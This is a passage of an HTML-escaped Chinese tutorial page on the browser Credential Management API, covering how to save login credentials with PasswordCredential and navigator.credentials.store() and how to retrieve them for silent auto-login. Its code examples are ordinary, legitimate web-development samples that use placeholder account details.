&#x7B49;&#x65B9;&#x5F0F;&#x5F02;&#x6B65;&#x63D0;&#x4EA4;&#x7684;&#x767B;&#x5F55;&#x8868;&#x5355;&#xFF0C;&#x65E0;&#x6CD5;&#x88AB;&#x81EA;&#x52A8;&#x586B;&#x5145;&#x673A;&#x5236;&#x6355;&#x83B7;&#x5E76;&#x4E14;&#x4FDD;&#x5B58;&#xFF1B;</li>\n<li>&#x81EA;&#x52A8;&#x586B;&#x5145;&#x7684;&#x884C;&#x4E3A;&#x5BF9;&#x7F51;&#x7AD9;&#x6765;&#x8BF4;&#x662F;&#x5B8C;&#x5168;&#x4E0D;&#x53EF;&#x89C1;&#x7684;&#xFF0C;&#x7F51;&#x7AD9;&#x65E2;&#x4E0D;&#x77E5;&#x9053;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x5DF2;&#x88AB;&#x6D4F;&#x89C8;&#x5668;&#x5B58;&#x50A8;&#xFF0C;&#x4E5F;&#x4E0D;&#x77E5;&#x9053;&#x8868;&#x5355;&#x5BC6;&#x7801;&#x5DF2;&#x88AB;&#x6D4F;&#x89C8;&#x5668;&#x81EA;&#x52A8;&#x586B;&#x5145;&#xFF0C;&#x65E0;&#x6CD5;&#x66F4;&#x7CBE;&#x7EC6;&#x5730;&#x63A7;&#x5236;&#x767B;&#x5F55;&#x6D41;&#x7A0B;&#xFF1B;</li>\n<li>&#x81EA;&#x52A8;&#x586B;&#x5145;&#x673A;&#x5236;&#x5BF9;&#x66F4;&#x65B0;&#x5BC6;&#x7801;&#x7684;&#x652F;&#x6301;&#x5EA6;&#x8F83;&#x4F4E;&#x3002;</li>\n</ol>\n<p>&#x56E0;&#x6B64;&#xFF0C;&#x9488;&#x5BF9;&#x7528;&#x6237;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x76EE;&#x524D;&#x6240;&#x5B58;&#x5728;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x4F7F;&#x7528;&#x51ED;&#x8BC1;&#x7BA1;&#x7406; API &#x53EF;&#x4EE5;&#x8FDB;&#x4E00;&#x6B65;&#x4F18;&#x5316;&#x8868;&#x5355;&#x767B;&#x5F55;&#x7684;&#x8FC7;&#x7A0B;&#x3002;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x76EE;&#x524D;&#x51ED;&#x8BC1;&#x7BA1;&#x7406; API &#x4ECD;&#x5904;&#x4E8E;&#x8349;&#x6848;&#x9636;&#x6BB5;&#xFF0C;&#x73B0;&#x6709;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x652F;&#x6301;&#x7A0B;&#x5EA6;&#x4E0D;&#x9AD8;&#xFF0C;&#x5728;&#x4F7F;&#x7528;&#x524D;&#x9700;&#x8981;&#x8FDB;&#x884C; API &#x68C0;&#x6D4B;&#x5E76;&#x505A;&#x597D;&#x76F8;&#x5E94;&#x7684;&#x964D;&#x7EA7;&#x5904;&#x7406;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>window<span class=\"token punctuation\">.</span>PasswordCredential <span class=\"token operator\">||</span> window<span class=\"token punctuation\">.</span>FederatedCredential<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x8FDB;&#x884C;&#x51ED;&#x8BC1;&#x7BA1;&#x7406; API &#x7684;&#x76F8;&#x5173;&#x64CD;&#x4F5C;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h2 id=\"&#x4FDD;&#x5B58;&#x7528;&#x6237;&#x51ED;&#x8BC1;\"><a name=\"&#x4FDD;&#x5B58;&#x7528;&#x6237;&#x51ED;&#x8BC1;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4FDD;&#x5B58;&#x7528;&#x6237;&#x51ED;&#x8BC1;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4FDD;&#x5B58;&#x7528;&#x6237;&#x51ED;&#x8BC1;\" class=\"plugin-anchor\" href=\"#&#x4FDD;&#x5B58;&#x7528;&#x6237;&#x51ED;&#x8BC1;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4FDD;&#x5B58;&#x7528;&#x6237;&#x51ED;&#x8BC1;</h2>\n<p>&#x4F18;&#x5316;&#x8868;&#x5355;&#x767B;&#x5F55;&#x7684;&#x7B2C;&#x4E00;&#x6B65;&#xFF0C;&#x5C31;&#x662F;&#x80FD;&#x591F;&#x4FDD;&#x5B58;&#x7528;&#x6237;&#x767B;&#x5F55;&#x51ED;&#x8BC1;&#x3002;&#x4E00;&#x65E6;&#x7528;&#x6237;&#x767B;&#x5F55;&#x7F51;&#x7AD9;&#x9A8C;&#x8BC1;&#x901A;&#x8FC7;&#xFF0C;&#x53EF;&#x4EE5;&#x8BF7;&#x6C42;&#x7528;&#x6237;&#x5141;&#x8BB8;&#x6D4F;&#x89C8;&#x5668;&#x4FDD;&#x5B58;&#x7528;&#x6237;&#x51ED;&#x8BC1;&#x3002;&#x6D4F;&#x89C8;&#x5668;&#x63D0;&#x4F9B; <code>navigator.credentials.store()</code> &#x65B9;&#x6CD5;&#x5BF9;&#x7528;&#x6237;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x8FDB;&#x884C;&#x5B58;&#x50A8;&#x3002;</p>\n<p>&#x8BE5;&#x65B9;&#x6CD5;&#x9700;&#x8981;&#x4F20;&#x5165;&#x4E00;&#x4E2A;&#x7C7B;&#x522B;&#x4E3A; <code>Credential</code> &#x7684;&#x5BF9;&#x8C61;&#x4F5C;&#x4E3A;&#x53C2;&#x6570;&#x3002;&#x76EE;&#x524D;&#x5B58;&#x5728;&#x4E24;&#x79CD;&#x6D3E;&#x751F;&#x81EA; <code>Credential</code> &#x7684;&#x7C7B;&#xFF0C;&#x5206;&#x522B;&#x662F;&#x5BC6;&#x7801;&#x51ED;&#x8BC1; <code>PasswordCredential</code> &#x548C;&#x8054;&#x5408;&#x51ED;&#x8BC1; <code>FederatedCredential</code>&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x9700;&#x8981;&#x6839;&#x636E;&#x7528;&#x6237;&#x7684;&#x767B;&#x5F55;&#x7C7B;&#x578B;&#x9009;&#x62E9;&#x76F8;&#x5E94;&#x7684;&#x51ED;&#x8BC1;&#x8FDB;&#x884C;&#x5B58;&#x50A8;&#x3002;&#x5982;&#x679C;&#x7528;&#x6237;&#x4F7F;&#x7528;&#x8D26;&#x53F7;&#x5BC6;&#x7801;&#x8FDB;&#x884C;&#x767B;&#x5F55;&#x7684;&#x8BDD;&#xFF0C;&#x90A3;&#x4E48;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; <code>PasswordCredential</code> &#x6784;&#x9020;&#x5E76;&#x5B58;&#x50A8;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> cred <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">PasswordCredential</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  id<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;example@baidu.com&apos;</span><span class=\"token punctuation\">,</span>\n  password<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;example_password&apos;</span><span class=\"token punctuation\">,</span>\n  name<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&#x8DEF;&#x4EBA;&#x7532;&apos;</span><span class=\"token punctuation\">,</span>\n  iconURL<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;https://path/to/icon.png&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\nnavigator<span class=\"token punctuation\">.</span>credentials<span class=\"token punctuation\">.</span><span class=\"token function\">store</span><span class=\"token punctuation\">(</span>cred<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5176;&#x4E2D; <code>id</code> &#x548C; <code>password</code> &#x4E3A;&#x5FC5;&#x586B;&#x5B57;&#x6BB5;&#xFF0C;&#x5206;&#x522B;&#x5BF9;&#x5E94;&#x7528;&#x6237;&#x767B;&#x5F55;&#x4FE1;&#x606F;&#x7684;&#x7528;&#x6237;&#x540D;&#x548C;&#x5BC6;&#x7801;&#xFF0C;<code>name</code> &#x548C; <code>iconURL</code> &#x662F;&#x9009;&#x586B;&#x5B57;&#x6BB5;&#xFF0C;&#x7528;&#x4E8E;&#x540E;&#x7EED;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5668;&#x7684;&#x4FE1;&#x606F;&#x5C55;&#x793A;&#x3002;</p>\n<p>&#x540C;&#x65F6;&#x6D4F;&#x89C8;&#x5668;&#x4E5F;&#x63D0;&#x4F9B; <code>navigator.credentials.create()</code> &#x65B9;&#x6CD5;&#x5B9E;&#x73B0;&#x5F02;&#x6B65;&#x5B9E;&#x4F8B;&#x5316;&#x51ED;&#x8BC1;&#xFF0C;&#x65B0;&#x7684;&#x58F0;&#x660E;&#x65B9;&#x6CD5;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// passwordcredential</span>\n<span class=\"token keyword\">let</span> pwdCred <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> navigator<span class=\"token punctuation\">.</span>credentials<span class=\"token punctuation\">.</span><span class=\"token function\">create</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  password<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    id<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;example@baidu.com&apos;</span><span class=\"token punctuation\">,</span>\n      password<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;example_password&apos;</span><span class=\"token punctuation\">,</span>\n      name<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&#x8DEF;&#x4EBA;&#x7532;&apos;</span><span class=\"token punctuation\">,</span>\n      iconURL<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;https://path/to/icon.png&apos;</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728;&#x672C;&#x5C0F;&#x8282;&#x793A;&#x4F8B;&#x4E2D;&#x67E5;&#x770B; <code>public/script/login.js</code> &#x767B;&#x5F55;&#x903B;&#x8F91;&#xFF0C;&#x6211;&#x4EEC;&#x5728;&#x7528;&#x6237;&#x70B9;&#x51FB;&#x767B;&#x5F55;&#x6309;&#x94AE;&#x65F6;&#x963B;&#x6B62;&#x8868;&#x5355;&#x63D0;&#x4EA4;&#x4E8B;&#x4EF6;&#xFF0C;&#x9A8C;&#x8BC1;&#x7528;&#x6237;&#x8EAB;&#x4EFD;&#x4FE1;&#x606F;&#x6B63;&#x786E;&#x540E;&#xFF0C;&#x53EF;&#x4EE5;&#x4FDD;&#x5B58;&#x5BF9;&#x5E94;&#x7684;&#x7528;&#x6237;&#x4FE1;&#x606F;&#x3002;&#x793A;&#x4F8B;&#x4E2D;&#x8868;&#x5355;&#x5DF2;&#x7ECF;&#x6DFB;&#x52A0; <code>autocomplete</code> &#x5C5E;&#x6027;&#xFF0C;&#x56E0;&#x6B64;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x5229;&#x7528;&#x8868;&#x5355; HTMLElement &#x521B;&#x5EFA; <code>PasswordCredential</code> &#x5B9E;&#x4F8B;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token keyword\">let</span> form <span class=\"token operator\">=</span> document<span class=\"token punctuation\">.</span><span class=\"token function\">querySelector</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;#login&apos;</span><span class=\"token punctuation\">)</span>\nform<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;submit&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">event</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  event<span class=\"token punctuation\">.</span><span class=\"token function\">preventDefault</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/auth/password&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n    method<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;POST&apos;</span><span class=\"token punctuation\">,</span>\n    credentials<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;include&apos;</span><span class=\"token punctuation\">,</span>\n    body<span class=\"token punctuation\">:</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">FormData</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">res</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x9A8C;&#x8BC1;&#x7528;&#x6237;&#x90AE;&#x7BB1;&#x5BC6;&#x7801;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>res<span class=\"token punctuation\">.</span>status <span class=\"token operator\">===</span> <span class=\"token number\">200</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;login error&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x5224;&#x65AD;&#x662F;&#x5426;&#x652F;&#x6301; Credential API</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>window<span class=\"token punctuation\">.</span>PasswordCredential<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x4FDD;&#x5B58;&#x7528;&#x6237;&#x51ED;&#x8BC1;</span>\n      <span class=\"token keyword\">var</span> cred <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">PasswordCredential</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">return</span> navigator<span class=\"token punctuation\">.</span>credentials<span class=\"token punctuation\">.</span><span class=\"token function\">store</span><span class=\"token punctuation\">(</span>cred<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x767B;&#x5F55;&#x6210;&#x529F;&#x8DF3;&#x8F6C;&#x81F3;&#x9996;&#x9875;</span>\n    window<span class=\"token punctuation\">.</span>location<span class=\"token punctuation\">.</span>href <span class=\"token operator\">=</span> <span class=\"token string\">&apos;/&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x767B;&#x5F55;&#x51FA;&#x9519;&#x5C55;&#x793A;&#x9519;&#x8BEF;&#x4FE1;&#x606F;</span>\n    <span class=\"token function\">showErrorToast</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x672C;&#x793A;&#x4F8B;&#x4E2D;&#x5728; <code>public/assets/mockData/user.json</code> &#x4E2D;&#x6A21;&#x62DF;&#x5B58;&#x50A8;&#x4E86;&#x6D4B;&#x8BD5;&#x8D26;&#x53F7;&#xFF0C;&#x8FD0;&#x884C;&#x793A;&#x4F8B;&#x8F93;&#x5165;&#x6D4B;&#x8BD5;&#x8D26;&#x53F7;&#x90AE;&#x7BB1;&#x5BC6;&#x7801;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x6D4F;&#x89C8;&#x5668;&#x5F39;&#x51FA;&#x7C7B;&#x4F3C;&#x4E0B;&#x56FE;&#x7684;&#x5BF9;&#x8BDD;&#x6846;&#x3002;</p>\n<p><img src=\"img/credential-wanna-save-password.jpg\" alt=\"&#x8BE2;&#x95EE;&#x7528;&#x6237;&#x662F;&#x5426;&#x9700;&#x8981;&#x4FDD;&#x5B58;&#x8D26;&#x53F7;&#x5BC6;&#x7801;\"></p>\n<p>&#x51ED;&#x8BC1;&#x4FDD;&#x5B58;&#x7684;&#x8FC7;&#x7A0B;&#x662F;&#x4E00;&#x4E2A;&#x5F02;&#x6B65;&#x7684;&#x8FC7;&#x7A0B;&#xFF0C;&#x5728;&#x6267;&#x884C; <code>navigator.credentials.store(cred)</code> &#x8FDB;&#x884C;&#x4FDD;&#x5B58;&#x65F6;&#xFF0C;&#x65B9;&#x6CD5;&#x4F1A;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A; promise &#x5BF9;&#x8C61;&#xFF0C;&#x540C;&#x65F6;&#x5728;&#x9875;&#x9762;&#x4E0A;&#x5F39;&#x51FA;&#x5BF9;&#x8BDD;&#x6846;&#x63D0;&#x793A;&#x7528;&#x6237;&#x662F;&#x5426;&#x8FDB;&#x884C;&#x5BC6;&#x7801;&#x5B58;&#x50A8;&#xFF0C;&#x53EA;&#x6709;&#x5F53;&#x7528;&#x6237;&#x9009;&#x62E9;&#x201C;&#x4FDD;&#x5B58;&#x201D;&#x65F6;&#xFF0C;promise &#x5BF9;&#x8C61;&#x624D;&#x4F1A; resolve&#xFF0C;&#x70B9;&#x51FB;&#x201C;x&#x201D;&#x5173;&#x95ED;&#x5BF9;&#x8BDD;&#x6846;&#x6216;&#x8005;&#x70B9;&#x51FB;&#x201C;&#x4E00;&#x5F8B;&#x4E0D;&#x201D;&#x65F6;&#xFF0C;promise &#x5C06; reject&#x3002;</p>\n<p>&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x5982;&#x679C;&#x7528;&#x6237;&#x9009;&#x62E9;&#x4E86;&#x201C;&#x4E00;&#x5F8B;&#x4E0D;&#x201D;&#xFF0C;&#x90A3;&#x4E48;&#x5728;&#x540E;&#x7EED;&#x8C03;&#x7528; <code>navigator.credentials.store(cred)</code> &#x65F6;&#xFF0C;&#x8FD4;&#x56DE;&#x7684; promise &#x5BF9;&#x8C61;&#x5C06;&#x76F4;&#x63A5; resolve &#x800C;&#x4E0D;&#x4F1A;&#x5F39;&#x51FA;&#x4EFB;&#x4F55;&#x5BF9;&#x8BDD;&#x6846;&#x3002;&#x56E0;&#x6B64;&#x5728;&#x8BBE;&#x8BA1;&#x51ED;&#x8BC1;&#x5B58;&#x50A8;&#x6D41;&#x7A0B;&#x65F6;&#xFF0C;&#x4E00;&#x5B9A;&#x8981;&#x8BB0;&#x4F4F;&#x53EA;&#x5728;&#x6700;&#x5408;&#x9002;&#x7684;&#x65F6;&#x5019;&#x53D1;&#x8D77;&#x51ED;&#x8BC1;&#x5B58;&#x50A8;&#xFF0C;\b&#x6BD4;&#x5982;&#x5728;&#x53D1;&#x8D77;&#x51ED;&#x8BC1;&#x5B58;&#x50A8;&#x524D;&#x5148;&#x5F15;&#x5BFC;&#x5E76;&#x63D0;&#x793A;&#x7528;&#x6237;&#xFF0C;&#x4E0D;&#x8981;&#x60F9;&#x607C;&#x7528;&#x6237;&#xFF0C;&#x5426;&#x5219;&#x7528;&#x6237;&#x4E00;&#x65E6;&#x9009;&#x62E9;&#x4E86;&#x201C;&#x4E00;&#x5F8B;&#x4E0D;&#x201D;&#xFF0C;&#x540E;&#x9762;&#x5C31;&#x5F88;&#x96BE;&#x518D;&#x6709;&#x673A;&#x4F1A;&#x4E86;&#xFF0C;&#x540C;&#x65F6;&#xFF0C;&#x5B58;&#x50A8;&#x6D41;&#x7A0B;&#x9700;&#x8981;&#x8003;&#x8651;&#x5230;&#x51ED;&#x8BC1;&#x5B58;&#x50A8;&#x6210;&#x529F;&#x548C;&#x5931;&#x8D25;&#x4E4B;&#x540E;&#x7684;&#x5E94;&#x5BF9;&#x63AA;&#x65BD;&#x3002;</p>\n<h2 id=\"&#x81EA;&#x52A8;&#x767B;&#x5F55;\"><a name=\"&#x81EA;&#x52A8;&#x767B;&#x5F55;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x81EA;&#x52A8;&#x767B;&#x5F55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x81EA;&#x52A8;&#x767B;&#x5F55;\" class=\"plugin-anchor\" href=\"#&#x81EA;&#x52A8;&#x767B;&#x5F55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x81EA;&#x52A8;&#x767B;&#x5F55;</h2>\n<p>&#x5F53;&#x70B9;&#x51FB;&#x767B;&#x5F55;&#x6309;&#x94AE;&#x65F6;&#xFF0C;&#x5E38;&#x89C1;&#x7684;&#x9875;&#x9762;&#x4EA4;&#x4E92;&#x662F;&#x5F39;&#x51FA;&#x767B;&#x5F55;&#x8868;&#x5355;&#x6216;&#x8005;&#x8DF3;&#x8F6C;&#x81F3;&#x767B;&#x5F55;&#x9875;&#x9762;&#xFF0C;&#x7528;&#x6237;&#x7EE7;&#x7EED;&#x5728;&#x8868;&#x5355;&#x4E2D;&#x8FDB;&#x884C;&#x7E41;&#x7410;&#x7684;&#x8F93;&#x5165;&#x64CD;&#x4F5C;&#x3002;&#x800C;&#x5F53;&#x6D4F;&#x89C8;&#x5668;&#x5B58;&#x50A8;&#x7528;&#x6237;&#x51ED;&#x8BC1;&#x540E;&#xFF0C;&#x4F7F;&#x7528;&#x51ED;&#x8BC1;&#x7BA1;&#x7406; API&#xFF0C;&#x53EF;&#x4EE5;&#x6709;&#x6548;&#x7684;&#x7F29;&#x77ED;&#x7528;&#x6237;&#x767B;&#x5F55;&#x65F6;&#x95F4;&#xFF0C;&#x5B9E;&#x73B0;&#x53EA;&#x9700;&#x70B9;&#x51FB;&#x767B;&#x5F55;&#x6309;&#x94AE;&#x5C31;&#x53EF;&#x5B8C;&#x6210;&#x767B;&#x5F55;&#x3002;&#x63A5;&#x4E0B;&#x6765;\b&#x770B;&#x770B;&#x5B9E;&#x73B0;&#x81EA;&#x52A8;&#x767B;&#x5F55;&#x529F;&#x80FD;&#x9700;&#x8981;&#x7684;&#x51E0;&#x4E2A;&#x6B65;&#x9AA4;&#x3002;</p>\n<h3 id=\"&#x83B7;&#x53D6;&#x7528;&#x6237;&#x51ED;&#x8BC1;\"><a name=\"&#x83B7;&#x53D6;&#x7528;&#x6237;&#x51ED;&#x8BC1;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x83B7;&#x53D6;&#x7528;&#x6237;&#x51ED;&#x8BC1;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x83B7;&#x53D6;&#x7528;&#x6237;&#x51ED;&#x8BC1;\" class=\"plugin-anchor\" href=\"#&#x83B7;&#x53D6;&#x7528;&#x6237;&#x51ED;&#x8BC1;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x83B7;&#x53D6;&#x7528;&#x6237;&#x51ED;&#x8BC1;</h3>\n<p>&#x6D4F;&#x89C8;&#x5668;&#x63D0;&#x4F9B; <code>navigator.credentials.get()</code> &#x65B9;&#x6CD5;&#x6765;&#x83B7;&#x53D6;&#x5B58;&#x50A8;&#x7684;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x914D;&#x7F6E; <code>password</code> &#x548C; <code>federated</code> &#x6765;&#x6307;&#x5B9A;&#x8981;&#x83B7;&#x53D6;&#x7684;&#x7528;&#x6237;&#x51ED;&#x8BC1;&#x3002;&#x53E6;&#x4E00;&#x4E2A;&#x53C2;&#x6570; <code>mediation</code> &#x7528;&#x4E8E;&#x914D;&#x7F6E;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5668;&#x884C;&#x4E3A;&#xFF0C;&#x4E3A;&#x4E86;&#x5B9E;&#x73B0;&#x81EA;&#x52A8;&#x767B;&#x5F55;&#x901A;&#x5E38;&#x8BBE;&#x7F6E; <code>mediation</code> &#x503C;&#x4E3A; <code>silent</code>&#xFF0C;&#x5728;&#x7528;&#x6237;&#x767B;&#x5F55;&#x65F6;&#x4E0D;&#x4F1A;&#x5F39;&#x51FA;&#x8D26;&#x6237;&#x9009;&#x62E9;&#x5668;&#xFF0C;&#x5728;&#x4E0B;&#x6587;&#x4E2D;&#x4F1A;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x5176;&#x7528;&#x6CD5;&#x3002;</p>\n<p>&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x7531;&#x4E8E;&#x6267;&#x884C; <code>navigator.credentials.get()</code> &#x5C06;&#x53EF;&#x80FD;&#x4F1A;&#x5F39;&#x51FA;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5668;&#x6253;&#x65AD;&#x7528;&#x6237;&#x64CD;&#x4F5C;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x4FDD;&#x8BC1;&#x53EA;&#x6709;&#x5728;&#x771F;&#x6B63;&#x9700;&#x8981;&#x767B;&#x5F55;&#x7684;&#x65F6;&#x5019;&#x518D;&#x53BB;&#x8C03;&#x7528;&#x8BE5;&#x65B9;&#x6CD5;&#xFF0C;&#x6BD4;&#x5982;&#x5728;&#x8C03;&#x7528;&#x524D;&#x5224;&#x65AD;&#x4E00;&#x4E0B;&#x5F53;&#x524D; session &#x4F1A;&#x8BDD;&#x662F;&#x5426;&#x8FC7;&#x671F;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>window<span class=\"token punctuation\">.</span>PasswordCredential <span class=\"token operator\">||</span> window<span class=\"token punctuation\">.</span>FederatedCredential<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span><span class=\"token function\">isLogin</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6;&#x7528;&#x6237;&#x51ED;&#x8BC1;</span>\n    <span class=\"token keyword\">let</span> cred <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> navigator<span class=\"token punctuation\">.</span>credentials<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n      password<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">,</span>\n      mediation<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;silent&apos;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"&#x53D1;&#x9001;&#x51ED;&#x8BC1;&#x9A8C;&#x8BC1;&#x7528;&#x6237;\"><a name=\"&#x53D1;&#x9001;&#x51ED;&#x8BC1;&#x9A8C;&#x8BC1;&#x7528;&#x6237;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x53D1;&#x9001;&#x51ED;&#x8BC1;&#x9A8C;&#x8BC1;&#x7528;&#x6237;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x53D1;&#x9001;&#x51ED;&#x8BC1;&#x9A8C;&#x8BC1;&#x7528;&#x6237;\" class=\"plugin-anchor\" href=\"#&#x53D1;&#x9001;&#x51ED;&#x8BC1;&#x9A8C;&#x8BC1;&#x7528;&#x6237;\"><i class=\"fa fa-link\" 